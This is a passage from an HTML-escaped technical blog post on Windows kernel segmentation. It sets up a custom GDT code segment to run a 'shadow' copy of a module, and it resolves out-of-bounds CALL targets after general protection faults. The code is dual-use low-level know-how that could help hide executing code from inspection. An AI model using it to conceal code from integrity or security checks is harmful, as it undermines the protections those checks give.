&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SegBase&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Base0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SegBase&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Base1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SegBase&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Base2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SegBase&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Base3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;84&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SegBase&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Limit0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;86&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SegBase&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Limit1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SegBase&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Limit2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;88&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;89&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;SegBase&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Granularity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Granularity&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;90&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Gdt_SetEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;GDT_ENTRY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Seg&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;SegBaseVal&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Simply copy the value of the original segment, set the base, limit, and granularity accordingly and then spawn a DPC to get the GDT base for each processor with &lt;code&gt;sgdt&lt;/code&gt; and then write to the specified index. &lt;em&gt;(You might notice that I am not allocating a new GDT, this is because few of my users were getting weird system freezes when the GDT pointer was replaced)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Now that we set up the new segment successfully, this is where we run into our first problem, &lt;strong&gt;out of bounds IP&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s look at the following example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;Module base (0x400000) /---------------------\ /---------------------\ (CS Base + 0x400000) Shadow module base
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; | ... | | ... |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; | CALL 0x600214 | | CALL 0x600214 |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; | MOV [0x312321], EAX | | MOV [0x312321], EAX |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; | CALL 0x333333 | | CALL 0x333333 |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; | ... | | ... |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; | ... | | ... |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; | ... | | ... |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; | ... | | ... |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Module end (0x500000) \---------------------/ \---------------------/ (CS Base + 0x500000) Shadow module end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This can be an issue when the target IP is lower than module base (&lt;code&gt;CALL 0x333333&lt;/code&gt;) or when the target IP is higher than module base (&lt;code&gt;CALL 0x600214&lt;/code&gt;) because those instructions will respectively execute &lt;code&gt;CS Base + 0x333333&lt;/code&gt; and &lt;code&gt;CS Base + 0x600214&lt;/code&gt;, which we did not copy.&lt;/p&gt;
&lt;p&gt;First one is simple to handle. Simply set the limit of the GDT entry to module size and when a GPF occurs either restore CS and set &lt;code&gt;IP = IP + Shadow Base - Real Base&lt;/code&gt; (and risk leaking shadow base as it will push the return pointer, pointing at shadow module, to stack and then continue execution at 0x23:shadowmodule) or resolve the call yourself, like I do below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;BOOLEAN&lt;/span&gt; &lt;span class="nf"&gt;ResolveCall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ITRAP_FRAME&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UCHAR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Instruction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;InstructionSize&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Instruction&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mh"&gt;0xE8&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;Instruction&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;FALSE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;hde32s&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;InstructionSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hde32_disasm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Instruction&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Instruction&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modrm_reg&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sib&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modrm_mod&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;ResolveRegisterById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sib_index&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sib_scale&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp32&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modrm_mod&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;ResolveRegisterById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sib_base&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp32&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;ResolveRegisterById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sib_base&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;ResolveRegisterById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sib_index&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sib_scale&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp32&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modrm_mod&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp32&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modrm_mod&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ResolveRegisterById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modrm_rm&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modrm_mod&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modrm_mod&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;ResolveRegisterById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Frame&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modrm_rm&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;disp32&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
